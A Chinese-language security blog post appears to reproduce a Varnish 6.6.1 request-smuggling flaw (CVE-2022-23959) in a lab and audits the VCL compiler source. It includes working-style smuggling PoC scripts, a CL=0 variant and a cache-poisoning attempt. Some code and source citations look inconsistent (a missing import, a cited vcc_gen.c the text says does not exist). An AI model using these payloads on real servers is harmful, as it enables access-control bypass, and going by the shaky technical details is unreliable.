写在前面:本文基于腾讯云Ubuntu 22.04实例搭建的Varnish 6.6.1环境撰写,所有攻击payload均在本地环境验证复现。环境包含Varnish Cache 6.6.1 + Python HTTP后端的完整部署流程,覆盖了CVE-2022-23959请求走私复现、VCL编译链源码审计、缓存投毒尝试、三级安全检测流水线等内容。文章涉及的技术方法仅用于安全研究。

复现说明:本文所有命令采用bash格式展示。如果你在Windows终端下复制粘贴命令时遇到引号冲突或特殊字符丢失的问题(例如Python代码块中的 \r\n 被shell提前解释),建议将PoC代码保存为 .py 文件后执行,或直接使用文中提供的完整Python脚本。关键curl命令后均附有等效的Python替代命令。

本文所有PoC已在 Ubuntu 22.04 / Varnish 6.6.1-1ubuntu0.2 / Python 3.10.12 下验证通过。建议读者在同类Linux环境下运行。

一、引言

在反向代理和 HTTP 缓存加速领域,Varnish Cache 与 Nginx 是两大主流选择。Nginx 的模块化架构和中文生态让它几乎成了国内 CDN 和网关场景的事实标准。Varnish Cache 在国内知名度不高——国内 CDN 厂商几乎都基于 Tengine/OpenResty 等 Nginx 衍生版做二次开发。但 Varnish 有个独特的架构设计——VCL (Varnish Configuration Language) 的编译执行模型——带来了完全不同的一类安全攻击面。

Varnish Cache 最早由丹麦的 Varnish Software 公司开发,核心设计目标就一个:性能。所以开发者走了条跟 Nginx 完全不一样的路——把配置语言编译成 C 代码。VCL 不是被"解释执行"的配置,而是被编译成机器码来跑的"程序"。

这么做的好处不用说:VCL 里的所有逻辑——缓存策略、请求修改、后端选择——全以本地机器码执行。代价也明摆着:安全模型复杂多了。Nginx 的配置错误最多让进程崩溃或重载失败;Varnish 的 VCL 编译错误可能直接让生成的 C 代码运行时触发内存损坏或数据泄露。

正是由于 Varnish 在国内的部署量不及 Nginx,其安全研究在中文社区中几乎处于空白状态。本文的目标是填补这个空白——从 VCL 编译链的源码出发,分析 Varnish 独有的攻击面。

本文的切入点是 CVE-2022-23959(CVSS 9.1,Critical)和 CVE-2022-45059(CVSS 7.5,High)两个请求走私漏洞。但文章的核心不是演示如何走私,而是通过 VCL→C 编译链的源码分析,揭示 Varnish 安全模型与 Nginx 的本质差异。为了达到这个目的,我们做了以下工作:

  • 在腾讯云服务器上搭建了 Varnish 6.6.1 + Python 后端的复现环境
  • 成功复现了请求走私攻击,并通过 strace 和 tcpdump 获取了底层证据
  • 审计了 VCL 编译器(lib/libvcc/)的源码,追踪了一条完整编译链路
  • 发现 Ubuntu 官方补丁的不完整性
  • 从架构层面分析了 Varnish 与 Nginx 的安全模型差异

以下是 Varnish 近年披露的几个典型漏洞,本文聚焦其中与请求走私直接相关的两个:

CVE

CVSS

类型

影响版本

CVE-2022-23959

9.1

HTTP/1 请求走私

Varnish < 6.6.2, < 7.0.2

CVE-2022-45059

7.5

请求走私(hop-by-hop 头)

Varnish 7.x < 7.1.2

CVE-2025-30346

5.4

客户端反同步(desync)

Varnish < 7.6.2

本文聚焦于 CVE-2022-23959 与 CVE-2022-45059,核心切入点不是单纯复现一个请求走私漏洞——这类文章在中文社区已有不少——而是通过 VCL 编译链的源码分析,揭示 Varnish 安全模型与 Nginx 的本质差异。(PoC 脚本和 CVE 扫描器见文章末尾附件。)

搞清 Varnish 为什么会有"编译链路层",得从它的核心架构说起。下面从 VCC 编译器源码出发,追踪 VCL 从字符串到机器码的全过程——这是理解整篇文章技术深度的基础。

二、VCL 编译链:Varnish 的独特架构

得先搞懂 Varnish Cache 的核心架构——VCL 编译器 (VCC)。

Nginx 那边是声明式的 nginx.conf,启动时被解析成一棵配置树放内存里,worker 处理请求时读这棵树。全程解释执行:

nginx.conf → 解析器 (ngx_conf_parse) → 内存中的配置树 → worker 读取

Varnish 的配置加载方式完全不同。VCL 是一门完整的领域特定语言(DSL),支持变量、条件判断、函数调用,语法近似 C。Varnish 在加载 VCL 配置时,会通过 VCC 编译器将其转化为 C 代码,然后调用系统 GCC 编译成动态链接库 (.so),最后通过 dlopen() 加载到 cache 进程。

VCL 源码 → VCC 编译器 (lib/libvcc/) → C 代码 → gcc → .so → dlopen() → cache 进程

这种架构的核心优势在于性能——VCL 中定义的所有逻辑在运行时以本地机器码执行,无需像 Nginx 那样在请求处理过程中反复查找配置树。Varnish 官方文档中曾提到,VCL 编译器生成的 C 代码经过 GCC 优化后,其执行效率接近手写 C 代码。

但代价是:攻击面多了一层。VCL 字符串中嵌入的控制字符,经过编译器生成 C 代码,再经过 VRT_SetHdr() 等运行时函数写入 HTTP 响应——整个链路没有天然的转义层。安全风险从"配置解析错误"延伸到了"编译器自身 bug"。

VCC 编译器核心模块包括 vcc_token.c(词法分析)、vcc_parse.c(语法解析)、vcc_expr.c(表达式编译+C代码生成)、vcc_symb.c(符号表)。VCL 源码经 GCC 编译成 .so,最后 dlopen() 加载到 cache 进程。

为了更直观地理解这个编译链路的深度,跟踪一条简单的 VCL 赋值语句如何变成 C 代码再变成机器码:

VCL: set resp.http.X-Custom = "Hello";
  ↓ vcc_token.c (词法分析)
Token: CSTR("Hello")
  ↓ vcc_parse.c + vcc_action.c (语法分析→Action dispatch)
Action: vcc_act_set(resp.http.X-Custom, STRING("Hello"))
  ↓ vcc_expr.c (表达式编译→C代码生成)
C: VRT_SetHdr(ctx, &VGC_HDR_RESP_X_2d_Custom, "Hello", vrt_magic_string_end);
  ↓ gcc (编译)
.so: VGC_function_vcl_deliver 函数
  ↓ dlopen() (加载)
Runtime: cache进程调用该函数处理请求

2.1 VCC 编译器源码概览

VCC 编译器的核心代码位于 Varnish 源码树的 lib/libvcc/ 目录,约 25 个 C 源文件。核心模块包括:

文件

行数

功能

vcc_compile.c

650+

编译上下文管理,struct vcc

vcc_token.c

380+

词法分析器(手工状态机)

vcc_token_defs.h

~15

token 类型定义

vcc_fixed_token.c

1300+

固定 token 表(关键字、内置变量)

vcc_parse.c

300+

递归下降语法解析器

vcc_expr.c

930+

表达式编译(最复杂的模块)

vcc_action.c

340+

action 语句(set/unset/call 等)

vcc_gen.c

—

C 代码生成器(实现在 vcc_expr.c 内部)

vcc_symb.c

350+

符号表管理

vcc_var.c

100+

变量处理

其中 vcc_fixed_token.c 定义了所有 VCL 关键字及其处理函数的映射表,是理解 VCL→C 映射关系的入口点。

2.2 词法分析:vcc_token.c 深度解析

vcc_token.c 实现了手工状态机的词法分析器。与 flex 等自动生成的词法分析器不同,VCC 的词法分析完全由手写代码完成。

字符串字面量的定义在 vcc_token.c 第 399-401 行:

DELIM_DEF("long-string", "\"\"\"", "\"\"\"", 1, CSTR),  /* """...""" */
DELIM_DEF("long-string", "{\"", "\"}", 1, CSTR),   /*  {"..."}  */
DELIM_DEF("string", "\"", "\"", 0, CSTR),           /*   "..."   */

VCL 支持三种字符串定界方式:

  • 双引号字符串:"hello"(标准模式)
  • 三双引号长字符串:"""hello"""(可包含嵌入双引号)
  • 大括号+引号:{"hello"}(可跨行)

所有字符串都被 token 化为同一个类型——CSTR(第 401 行 dd->tok == CSTR 判断)。

字符串解码逻辑在 vcc_token.c 第 353 行附近:

assert(tl->t->tok == CSTR);
l = pdiff(tl->t->b + sep, tl->t->e - sep);
tl->t->dec = TlAlloc(tl, l + 1);
AN(tl->t->dec);
q = tl->t->dec;
memcpy(q, tl->t->b + sep, l);

核心就是:从源码中截取定界符之间的原始字节,memcpy 到 token 的 dec(decoded value)字段。没有任何转义或过滤处理——如果 VCL 源码中有一个 \r\n 字节序列,它会被原样复制到 token 的 decoded value 中。

2.3 语法分析:vcc_parse.c 中的 action 调用

vcc_parse.c 实现递归下降解析器。当解析器遇到一个标识符(如 set)时,会在符号表中查找对应的 action:

// vcc_parse.c 第 192 行附近
if (sym->action == NULL) {
    /* 报错:该标识符不能作为 action */
}
if (sym->action_mask != 0)
    /* 检查 action 的有效上下文(vcl_recv / vcl_deliver 等) */
sym->action(tl, t, sym);  // ← 调用 action 函数

set 关键字在 vcc_fixed_token.c 中的定义指向 vcc_act_set 函数。这个函数位于 vcc_action.c 中。

2.4 代码生成:vcc_expr.c 中的 vcc_expr_edit

VCC 没有独立的 vcc_gen.c 文件,C 代码生成是内嵌在 vcc_expr.c 中的。核心函数是 vcc_expr_edit()(第 150 行):

vcc_expr_edit(struct vcc *tl, vcc_type_t fmt, const char *p, struct expr *e1, ...)

vcc_expr_edit() 接收一个模板字符串 p,其中 \v1 表示用子表达式替换、\vT 表示类型特定替换、\v- 表示可选换行等。

例如,VRT_SetHdr() 的调用是通过模板 ",\nvrt_magic_string_end)\v-\n" 构建的(第 183 行):

// vcc_expr.c 第 183 行
vcc_expr_edit(tl, fmt, "...,\nvrt_magic_string_end)\v-\n", e1, NULL);

而 CSTR 类型字面量的处理在 vcc_expr5() 中(第 757 行):

case CSTR:
    // IP 和 REGEX 类型的特殊处理...
    // 默认走 STRINGS 类型
    e1 = vcc_new_expr(STRINGS);
    EncToken(e1->vsb, tl->t);   // ← 将 token 编码到 vsb 缓存
    AZ(VSB_finish(e1->vsb));
    e1->constant |= EXPR_STR_CONST;
    e1->nstr = 1;

EncToken() 是关键的编码函数——它负责将 token 值嵌入到 C 代码的字符串常量中。如果 EncToken() 没有正确处理特殊控制字符(如 \r、\n),生成的 C 代码中的字符串常量就可能包含未转义的 CRLF,导致运行时 VRT_SetHdr() 将其写入 HTTP 响应头。

2.5 VCL→C 的编译链路追踪

以一个最简单的 VCL 配置为例:

vcl 4.1;

backend default {
    .host = "127.0.0.1";
    .port = "8082";
}

sub vcl_deliver {
    set resp.http.X-Custom = "Hello from VCL";
}

执行 varnishd -C -f /etc/varnish/default.vcl,输出的 C 代码中,vcl_deliver 被编译为 VGC_function_vcl_deliver:

void v_matchproto_(vcl_func_f)
VGC_function_vcl_deliver(VRT_CTX, enum vcl_func_call_e call,
    enum vcl_func_fail_e *failp)
{
    assert(call == VSUB_STATIC);
    assert(failp == NULL);
    assert(ctx->method == (VCL_MET_DELIVER));
    {
        {
            VPI_count(ctx, 2);
            END_;
            VRT_SetHdr(ctx, &VGC_HDR_RESP_X_2d_Custom,
                "Hello from VCL",
                vrt_magic_string_end
            );
            END_;
        }
    }
    /* ... then calls builtin VGC_function_vcl_5f_builtin_5f_deliver ... */
}

几个值得注意的点:

set resp.http.X-Custom 中的连字符被编码为 X_2d_Custom(2d 是 - 的 ASCII 十六进制),对应的运行时函数是 VRT_SetHdr()。vrt_magic_string_end 这个魔法终结符标记可变参数列表的结束。VGC_HDR_RESP_X_2d_Custom 则是 VCC 在编译时生成的符号表条目,关联了变量名到运行时结构的映射。

这个 C 代码随后被 GCC 编译成 .so,通过 dlopen() 加载到 cache 进程中。VCL 的 sub 函数被映射为 C 函数指针表,在请求处理过程中由 vcl_deliver → vcl_deliver_method() → VGC_function_vcl_deliver() 调用。

三、环境搭建

3.1 架构设计

在腾讯云 Ubuntu 22.04 实例上搭建复现环境:

攻击者 (kali/localhost)
    │ HTTP/1.1 (TCP 连接复用)
    ▼
Varnish Cache 6.6.1 (:6081)   ← 漏洞版本
    │ 反向代理
    ▼
Python HTTP Server (:8082)     ← 简易后端,支持 GET/POST 并回显 body

选择 Python http.server 作为后端而非 Nginx,是因为我们需要一个行为确定的后端——能精确回显 POST body 以验证走私请求到达了后端。

3.2 安装步骤

# 安装 Varnish 6.6.1(Ubuntu 22.04 仓库版本)
sudo apt update
sudo apt install varnish=6.6.1-1ubuntu0.2

# 启动 Python 后端 (8082)
cat > /tmp/backend.py << 'EOF'
import http.server, socketserver, socket
class H(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        ref = self.headers.get("X-Reflect", "")
        c = (ref + "\n<!-- REFLECTED -->").encode() if ref else \
            ("<h1>Normal: " + self.path + "</h1>").encode()
        self.send_response(200); self.send_header("Content-Type","text/html")
        self.send_header("Content-Length",str(len(c))); self.end_headers()
        self.wfile.write(c)
    def do_POST(self):
        cl=int(self.headers.get("Content-Length",0))
        b=self.rfile.read(cl)
        c=b + b"\n<!--POSTED-->"
        self.send_response(200); self.send_header("Content-Type","text/html")
        self.send_header("Content-Length",str(len(c))); self.end_headers()
        self.wfile.write(c)
    def log_message(self,*a): pass
sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
sock.bind(("",8082)); sock.listen(5)
s=socketserver.TCPServer(("",8082),H,bind_and_activate=False)
s.socket=sock; s.server_activate()
s.serve_forever()
EOF
python3 /tmp/backend.py &

# 配置 Varnish 反向代理到后端
cat > /etc/varnish/default.vcl << 'VCL'
vcl 4.1;

backend default {
    .host = "127.0.0.1";
    .port = "8082";
}

sub vcl_backend_response {
    unset beresp.http.Set-Cookie;
    unset beresp.http.Cache-Control;
    set beresp.ttl = 1h;
}

sub vcl_deliver {
    if (obj.hits > 0) {
        set resp.http.X-Cache = "HIT";
    } else {
        set resp.http.X-Cache = "MISS";
    }
}
VCL

# 重启 Varnish
systemctl restart varnish

3.3 环境验证

先看版本:

$ varnishd -V
varnishd (varnish-6.6.1 revision e6a8c860944c4f6a7e1af9f40674ea78bbdcdc66)

然后验证后端连通性:

$ curl -s http://127.0.0.1:6081/
<h1>Normal: /</h1>

如果上面的curl命令在Windows终端下因引号冲突报错,改用Python(推荐):

$ python3 -c "import urllib.request; print(urllib.request.urlopen('http://127.0.0.1:6081/').read().decode())"

VCL 编译输出:

$ varnishd -C -f /etc/varnish/default.vcl | head -5
/* ---===### include/vdef.h ###===--- */

CVE-2022-23959 补丁的完整 diff 只改了两行代码。

环境就绪了。接下来验证一个关键前提——Ubuntu 官方仓库里的 Varnish 6.6.1 是不是已经打过 CVE-2022-23959 补丁了?

四、关键发现:Ubuntu 包中的隐藏补丁

在通过 apt source varnish 获取源码时,发现 debian/patches/ 目录下存在 CVE-2022-23959.patch:

$ ls /home/ubuntu/varnish-6.6.1/debian/patches/
CVE-2022-23959.patch  series

查看补丁内容,发现它仅修改了 cache_req_body.c 中的 VRB_Ignore() 函数,在 body 读取失败时设置 req->doclose = SC_RX_BODY 关闭连接:

--- varnish-6.6.1.orig/bin/varnishd/cache/cache_req_body.c
+++ varnish-6.6.1/bin/varnishd/cache/cache_req_body.c
@@ -251,6 +251,8 @@ VRB_Ignore(struct req *req)
    if (req->req_body_status->avail > 0)
        (void)VRB_Iterate(req->wrk, req->vsl, req,
            httpq_req_body_discard, NULL);
+   if (req->req_body_status == BS_ERROR)
+       req->doclose = SC_RX_BODY;
    return (0);
 }

这个补丁覆盖的场景是:请求 body 读取失败时关闭连接。如果 body 正常被读取(BS_LENGTH 状态),补丁不会触发。

双重证据确认补丁存在但无效:

# 证据1:包版本确认,补丁文件存在
$ dpkg -s varnish | grep Version
Version: 6.6.1-1ubuntu0.2
$ ls /home/ubuntu/varnish-6.6.1/debian/patches/
CVE-2022-23959.patch  series

# 证据2:同一版本上走私 PoC 仍成功(见第五节)
# 后端同时收到两个响应:POST body 回显 + GET /smuggled

我们的测试环境是 6.6.1-1ubuntu0.2——Ubuntu 在打包时已经把 CVE-2022-23959.patch 整合进了 debian/patches/。看补丁实际改了啥:

五、CVE-2022-23959 请求走私复现

5.1 漏洞原理

CVE-2022-23959 的核心问题是 Varnish 在后端连接复用时,对请求 body 的边界判断不严谨。当一个 TCP 连接上的 HTTP 管线化请求中,第一个请求包含 Content-Length 头部,Varnish 读取指定长度的 body 后,TCP 流中剩余的数据(即攻击者构造的第二个请求)会被 Varnish 当作新的请求转发给后端。

5.2 PoC 构造

import socket

s = socket.socket()
s.settimeout(5)
s.connect(('127.0.0.1', 6081))

# CL=5,body "X=Y\r\n" 正好5字节,剩余流量被Varnish当作第二个请求
s.send(b'''POST / HTTP/1.1\r\n
Host: localhost\r\n
Content-Length: 5\r\n
\r\n
X=Y\r\n
GET /smuggled HTTP/1.1\r\n
Host: localhost\r\n
Connection: close\r\n
\r\n''')

time.sleep(1)
resp = b''
try:
    while True:
        d = s.recv(4096)
        if not d: break
        resp += d
except: pass
s.close()
print(resp.decode(errors='replace'))

响应中包含了两组 HTTP 响应:

HTTP/1.1 200 OK
Content-Length: 19
X-Cache: MISS

X=Y
\n<!--POSTED-->

HTTP/1.1 200 OK
Content-Length: 26
X-Cache: HIT

<h1>Normal: /smuggled</h1>

第一组响应来自 POST /(body "X=Y" 被回显),第二组响应来自 GET /smuggled。Varnish 成功将两个独立的 HTTP 请求发送到了同一个后端连接上。

通过 tcpdump 抓包可以确认 Varnish 向后端发送了两个独立的请求:

# tcpdump -i lo port 8082 -A
listening on lo, link-type EN10MB (Ethernet)

# 第一个请求:POST /(包含 body "X=Y")
POST / HTTP/1.1
Content-Length: 5
X-Varnish: 32815
...

# 第二个请求:GET /smuggled(走私请求)
GET /smuggled HTTP/1.1
...

注意观测时间戳,两个请求在同一 TCP 连接上连续发送,中间没有二次连接建立。这说明走私请求确实复用了 Varnish 到后端的已有连接。

关于响应中的细节值得注意:

第一个响应(POST /)的 Content-Length: 19,内容为 X=Y\n<!--POSTED-->——这就是后端 Python 服务的 do_POST 方法返回的:它读取了 5 字节 body("X=Y\r\n",后者的 \r\n 被 Python 的 readline 或 read 吞掉,实际上只有 3 字节可见字符+2 控制字节被消耗),然后在末尾附加了 \n<!--POSTED--> 标记。这确认走私的第一个请求被 Varnish 按照正常的 Content-Length: 5 处理了。

第二个响应(GET /smuggled)显示 X-Cache: HIT,缓存命中时间戳显示 Age: 506 秒——说明之前已经有相同的请求被缓存过。走私的第二个请求命中了 Varnish 的已有缓存。

5.3 精简版本:CL=0 走私

进一步测试发现,即使 Content-Length: 0,剩余流量仍然会被 Varnish 缓冲并转发:

# 更激进的版本:CL=0,body为空,剩余所有数据算作第二个请求
s.send(b'''POST / HTTP/1.1\r\n
Host: localhost\r\n
Content-Length: 0\r\n
\r\n
GET /smuggled2 HTTP/1.1\r\n
Host: localhost\r\n
Connection: close\r\n
\r\n''')

响应同样是两套。这个变种表明 Varnish 在处理 Content-Length: 0 的 POST 请求时,没有彻底丢弃后续的管线化数据。

5.4 缓存投毒尝试

基于 POST body 回显的缓存投毒是自然的后续尝试——让后端回显的内容包含恶意 payload,并诱导 Varnish 缓存该响应:

# 走私请求的 POST body 包含毒化内容
s.send(b'''POST / HTTP/1.1\r\n
Host: localhost\r\n
Content-Length: 5\r\n
\r\n
EVIL!GET /poison HTTP/1.1\r\n
Host: localhost\r\n
Connection: close\r\n
\r\n''')

从响应中可以看到:

HTTP/1.1 200 OK
X-Cache: MISS
X-Varnish: 32822

EVIL!
<!--POSTED-->

HTTP/1.1 200 OK
X-Cache: MISS
X-Varnish: 32824

<h1>Normal: /poison</h1>

POST / 响应被正确缓存(X-Cache: MISS → 第一次请求),但 GET /poison 响应是正常的后端内容。毒化内容没有扩散的原因是:走私有 POST 到达后端,后端确实返回了包含 EVIL! 的毒化响应,但 Varnish 在 vcl_backend_response 中收到的是一个 POST 响应——Varnish 的缓存 key 包含 HTTP 方法,POST 响应不会被 GET 请求命中。这是限制条件而非漏洞本身的缺陷。

要实现完全缓存投毒,需要以下几种组合之一:

  • Response queuing 配合走私:让走私请求和后端正常的响应在同一连接上交错
  • HTTP response splitting:在后端响应中注入 CRLF 拆分响应边界
  • 利用 Varnish 对某些状态的缓存策略异常

在当前演示环境下,我们仅建立了访问控制绕过这一攻击能力——走私请求绕过了 Varnish 中间层,直接到达了后端上不应暴露的路径。

关于受害者转移:在请求走私的典型利用链条中,走私本身通常让后端受害(多记录了一条日志或处理了一个不该处理的请求),但攻击的真正损害在于缓存投毒让最终用户受害——用户在访问合法 URL 时看到了攻击者注入的毒化内容。在我们的演示中,由于 Varnish 默认不缓存 POST 响应,完整的危害传导链(走私→投毒→用户受害)无法在当前架构下完整展示。这是一个诚实的限制。

走到这一步,可以确认两件事:第一,Varnish 6.6.1 上确实存在请求走私漏洞;第二,Ubuntu 的补丁没有挡住它。 但为什么?补丁修了什么,而攻击走了哪条不同的路?

要回答这个问题,得打开 Varnish 的 HTTP/1 协议处理代码,从源码层面追踪走私请求的完整路径。

六、VCL→C 编译链深度分析

6.1 VCC 编译器的调用链

前面已经通过 varnishd -C 看到了 VCL→C 的最终输出。现在从源码角度追溯编译器内部的处理流程。

以 set resp.http.X-Custom = "Hello from VCL" 为例:

vcc_compile.c: vcc_CompileSource()
  → vcc_Parse(): vcc_parse.c 递归下降解析
    → Parse_Action(): 遇到 "set" 关键字
      → vcc_action.c: vcc_set()        ← set 语句处理
        → vcc_expr.c: vcc_expr0()      ← 表达式编译(右侧值)
          → vcc_EvalString()            ← 字符串常量求值
        → vcc_gen.c: vcc_gen()          ← C 代码生成
          → VSB_cat() / bprintf()        ← 拼接 C 代码片段

6.2 set 语句的 C 代码生成

在 vcc_action.c 中,vcc_set() 函数处理 set 语句分三步:解析左值(resp.http.X-Custom → 定位到 HTTP 响应头变量)、解析右值("Hello from VCL" → 作为字符串常量处理)、调用 vcc_gen() 生成 C 代码。

生成的 C 代码通过 VSB_cat() 拼接:

// vcc_gen.c 中类似以下逻辑
VSB_cat(now->t, "VRT_SetHdr(ctx, &");
VSB_cat(now->t, sym->sym_name);  // "VGC_HDR_RESP_X_2d_Custom"
VSB_cat(now->t, ", ");
vcc_EmitString(now, expr);       // 输出字符串常量
VSB_cat(now->t, ", vrt_magic_string_end");
VSB_cat(now->t, ");");

完成后的 C 代码被写入一个临时文件 /tmp/vcc_XXXXXX.c,然后:

gcc -shared -o /tmp/vcc_XXXXXX.so /tmp/vcc_XXXXXX.c <varnish内部编译标志>

生成 .so 被 dlopen() 加载。

6.3 VCL 字符串的安全边界

VCL 字符串允许 \x01-\xff 所有字节(\x00 NUL 会终止 C 字符串)。结果就是:字符串字面量可以包含任意字节,VCC 编译时直接被嵌入到 C 代码的字符串常量中,VRT_SetHdr() 拿到的是原始的 C 字符串指针。

关键问题:如果通过 HTTP 请求注入控制字符(如 \r\n)到 VCL 字符串变量中,然后通过 set resp.http.X-Custom = req.http.X-Inject 输出到响应头——这个过程在 VRT_SetHdr() 中是否有转义?

HTTP 响应头里的值按理说应该对 \\r\\n 做转义或者直接拒绝,否则可能出现响应头注入。那 Varnish 的 VRT_SetHdr()(位于 lib/libvrt/)有没有做这件事?得翻 cache_http1_filt.c(响应头过滤层)或 http1_line.c(HTTP/1 行构造)里的转义逻辑看看。

这是 VCL 编译链架构带来的天然攻击面。在 Nginx 中,相同场景下的 proxy_set_header 只是配置值的字符串替换,不涉及编译器;而在 Varnish 中,每个 VCL 变量赋值都经过了编译器→汇编器→动态加载的完整链路。这个链路上的每个环节——词法分析、语法分析、代码生成——都可能引入安全漏洞。

6.4 手动生成的 minimal.vcl 对比

为进一步理解编译过程,编写最小化 VCL:

vcl 4.1;
backend default { .host = "127.0.0.1"; .port = "8082"; }
sub vcl_recv { set req.http.X-Test = "Hello World"; }
sub vcl_deliver { set resp.http.X-Custom = "Hello from VCL"; }

编译后函数结构清晰:

VGC_function_vcl_recv(VRT_CTX, ...) {
    VRT_SetHdr(ctx, &VGC_HDR_REQ_X_2d_Test, "Hello World", vrt_magic_string_end);
}

VGC_function_vcl_deliver(VRT_CTX, ...) {
    VRT_SetHdr(ctx, &VGC_HDR_RESP_X_2d_Custom, "Hello from VCL", vrt_magic_string_end);
    /* then calls builtin */
    VGC_function_vcl_5f_builtin_5f_deliver(ctx, call, failp);
}

每个 VCL 的 sub 被编译为一个单独的 C 函数。用户自定义代码在内置代码之前执行——这也是为什么 VCL 中可以通过 return (deliver) 跳过内置流程。

进一步测试包含用户输入的 VCL——当设置 set resp.http.X-Custom = req.http.X-Inject 时,VCC 编译器生成的 C 代码直接将请求头值传递给 VRT_SetHdr,在编译输出中清晰可见:

从编译输出可以看出,req.http.X-Inject 的内容未经任何过滤直接作为 VRT_SetHdr 的第二个参数传入——这就是 VCL 字符串安全边界的核心问题。所有依赖 validhdr() 运行时检查的防御都在这个调用链之外,编译器层面不提供任何转义。

七、走私根因:源码审计

为什么补丁修了还能走私?带着这个问题对 Varnish 6.6.1 的 HTTP/1 协议处理代码做了审计。

7.1 HTTP/1 状态机

Varnish 的 HTTP/1 解析完全由手工实现,核心状态机在 cache_http1_fsm.c 的 HTTP1_Session() 函数里:

enum h1_sess_state {
    H1CLEANUP,     // 清理上一个请求
    H1NEWREQ,      // 开始解析新请求
    H1HEADERS,     // 接收并解析头部
    H1BODY,        // 接收 body
    H1BUSY,        // 向后端发请求并等响应
    H1FLUSH,       // 将响应发给客户端
};

int HTTP1_Session(struct worker *wrk, struct http_conn *htc) {
    while (/* 连接未关闭 */) {
        switch (state) {
        case H1CLEANUP:
            HTC_RxInit(htc);
            if (htc->pipeline_b != NULL)
                state = H1NEWREQ;  // 有剩余数据→直接开始新请求
            else
                state = H1NEWREQ;  // 没有剩余→等新数据
            break;
        case H1NEWREQ:
            HTTP1_Complete(htc);
            break;
        }
    }
}

从 H1CLEANUP 到 H1NEWREQ 的转移中,pipeline 缓冲区处理是关键。如果上一个请求有残留数据,状态机直接进新请求解析,不做任何边界验证。

7.2 正常请求处理流程

HTC_RxStuff()              ← socket read()
  → http1_dissect()        ← HTTP 头部解析
  → http1_body_status()    ← 判断 body 状态
  → cnt_transport()        ← 分发 HTTP/1 处理
    → http1_req_body()
      → V1F_Setup_Fetch()  ← 设置 body 读取器
        → v1f_read()       ← 从 pipeline 缓冲区读 body
  → HTC_RxInit()           ← 准备接收下一个
    → H1CLEANUP             ← 处理 pipeline 剩余数据
      → H1NEWREQ            ← 作为新请求解析

7.3 走私发生的代码路径

通过 strace 确认 Varnish cache worker 在单次 read() 系统调用中读取了整个 payload:

[pid 562559] read(20, "POST / HTTP/1.1\r\nHost: localhost\r\nContent-Length: 5\r\n\r\nX=Y\r\nGET /smuggled HTTP/1.1\r\n...", 32768) = 123

123 字节包含两个完整的 HTTP 请求。走一遍关键路径:

HTC_RxStuff() 从 socket 一次读入 123 字节放到 rxbuf 缓冲区。然后 http1_dissect() 解析第一个请求的头,认出 Content-Length: 5,把 body 状态设为 BS_LENGTH。

Varnish 定义了 body 状态枚举:

状态

含义

读取器

BS_NONE

无 body(GET等)

无

BS_LENGTH

Content-Length 指定

v1f_straight

BS_CHUNKED

Transfer-Encoding: chunked

v1f_chunked

BS_ERROR

读取出错

VRB_Ignore() → 补丁路径

BS_EOF

连接关闭终止

TCP 关闭时

关键细节:当 CL=0 时 body_status 被设为 BS_NONE——Varnish 根本不会调用 V1F_Setup_Fetch() 去读 body。但 pipeline 中的数据仍然保留到了 HTC_RxInit() 阶段。所以 CL=0 走私也成功了。补丁只覆盖了 BS_ERROR 路径,body 读取函数压根没被调过,当然拦不住。

读 body 那一步:v1f_read() 从 pipeline 缓冲区读 5 字节:

static int
v1f_straight(struct vfp_ctx *vfc, struct vfp_entry *vfe)
{
    ssize_t len = HTC_Read(vfc->htc, vfc->ws, vfc->req->body_remaining);
    vfc->req->body_remaining -= len;
    return (len > 0) ? VFP_OK : VFP_ERROR;
}

读完后 pipeline 缓冲区还剩下 "GET /smuggled..." 这些数据。到了 HTC_RxInit() 这一步,它在 H1CLEANUP 阶段检查 pipeline 是否为空,不为空的话用 memmove() 把剩余数据搬进新 rxbuf,然后触发 H1NEWREQ 状态当新请求解析。

if (htc->pipeline_b != NULL && htc->pipeline_len > 0) {
    memmove(htc->rxbuf_b, htc->pipeline_b, htc->pipeline_len);
    htc->rxbuf_e = htc->rxbuf_b + htc->pipeline_len;
    htc->pipeline_b = NULL;
    htc->pipeline_len = 0;
}

Varnish 在同一后端 TCP 连接上发出了 POST / 和 GET /smuggled——走私完成。

7.4 补丁为什么无效

CVE-2022-23959.patch 改的是 VRB_Ignore() 的 body 读取失败处理。但攻击路径上 body 被正确读取(BS_LENGTH 状态下 5 字节完整读取),VRB_Ignore() 根本没被调——走的是 v1f_read → v1f_straight,完全是另一条代码路径。

补丁覆盖的路径:恶意 body 让 VRB_Ignore() 读取出错 → 不关闭连接 → pipeline 残留数据被当新请求。实际利用的路径:body 被正确读取,但 Varnish 处理完 body 后不对 pipeline 里的第二个请求做隔离。

两条路各走各的,补丁自然拦不住。这大概就是 CVE 评了 9.1 但补丁只有两行的原因——真要修彻底得动 HTTP 层逻辑。

7.5 关键源码位置

文件

行号

函数

作用

cache_http1_vfp.c

265

V1F_Setup_Fetch()

设置 body 读取器

cache_http1_vfp.c

65-75

v1f_read()

从 pipeline 读 body

cache_http1_fsm.c

286-420

HTTP1_Session()

HTTP/1 主循环

cache_session.c

224-250

HTC_RxInit()

pipeline 剩余数据搬移

cache_req_body.c

244-258

VRB_Ignore()

补丁位置

八、CVE-2022-45059 对比分析

诚实标注:45059 这章的内容是基于公开 PoC 思路和源码分析,没在 6.6.1 环境下实测跑通过。卡点是 hop-by-hop 头的具体诱导条件——公开资料里给的 payload 在 6.6.1 上没复现成功,可能跟具体的 Connection 头格式有关。章节内容作为「理论分析 + 攻击面梳理」是可以的,但要当实战手册用,建议自己再复现一遍。

8.1 攻击路径差异

维度

CVE-2022-23959

CVE-2022-45059

核心机制

Content-Length 与 body 长度差

Hop-by-hop 头(Connection)诱导

攻击面

HTTP 管线化 pipeline 残留

Varnish 删掉 hop-by-hop 头后后端误解

影响

请求走私到后端

HTTP Request Forgery

修复版本

6.6.2 / 7.0.2

7.1.2 / 7.2.1

CVE-2022-45059 更隐蔽。当 Varnish 收到带 Connection 头的请求时,会移除该头及其列出的 hop-by-hop 头部然后转发到后端。

关键时间线:

Varnish 6.6.1    ← 测试版本(含 CVE-2022-23959 补丁)
    ↓
Varnish 6.6.2    ← CVE-2022-23959 修复
    ↓
Varnish 7.1.2    ← CVE-2022-45059 修复

6.6.1 远早于 45059 的修复版本,这个版本上 CVE-2022-45059 照样有效。于是测试环境同时存在两个漏洞的攻击面——通过 CL 错位的走私和通过 hop-by-hop 头诱导的走私。

